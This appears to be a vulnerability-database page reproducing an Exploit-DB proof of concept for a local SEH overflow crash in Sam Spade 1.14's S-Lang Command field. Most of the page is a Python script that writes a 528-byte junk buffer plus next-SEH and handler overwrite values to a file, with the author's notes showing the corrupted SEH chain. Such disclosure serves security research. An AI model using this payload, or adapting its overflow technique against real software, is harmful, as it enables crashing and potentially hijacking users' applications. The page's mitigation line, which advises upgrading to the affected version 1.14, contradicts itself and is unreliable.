Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC

vendor:

Sam Spade

by:

Nipun Jaswal

7,8

CVSS

HIGH

Denial of Service (DoS) Local

119

CWE

Product Name: Sam Spade

Affected Version From: 1.14

Affected Version To: 1.14

Patch Exists: Yes

Related CWE: N/A

CPE: a:sam_spade:sam_spade:1.14

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Professional SP2 x86 es

2015

Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC

Sam Spade 1.14 is vulnerable to a SEH overflow vulnerability when a maliciously crafted S-Lang command is entered. This can be exploited to cause a denial of service condition by crashing the application.

Mitigation:

Upgrade to the latest version of Sam Spade 1.14 or later.

Source

Exploit-DB raw data:

#!/usr/bin/env python
# Exploit Title     : Sam Spade 1.14 S-Lang Command Field SEH Overflow Crash PoC
# Discovery by      : Nipun Jaswal
# Email             : mail@nipunjaswal.info
# Discovery Date    : 12/11/2015
# Vendor Homepage   : http://samspade.org
# Software Link     : http://www.majorgeeks.com/files/details/sam_spade.html
# Tested Version    : 1.14
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS      : Windows XP Professional SP2 x86 es
# Crash Point       : Go to Tools > S-Lang Command> Enter the contents of 'sam_spade_slang_dos.txt' > OK , Note: Do Not Remove the round bracket
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# And the Stack
#00FBFE80   41414141  AAAA
#00FBFE84   41414141  AAAA
#00FBFE88   42424242  BBBB  Pointer to next SEH record
#00FBFE8C   43434343  CCCC  SE handler

# After the execution of POC, the SEH chain looks like this: 
#Address    SE handler
#00FBFE88   43434343
#42424242   *** CORRUPT ENTRY ***

f = open("sam_spade_slang_dos.txt", "w")
Junk_a = "A"*528
nseh= "B" * 4
seh= "C" *4

f.write(Junk_a+nseh+seh)
f.close()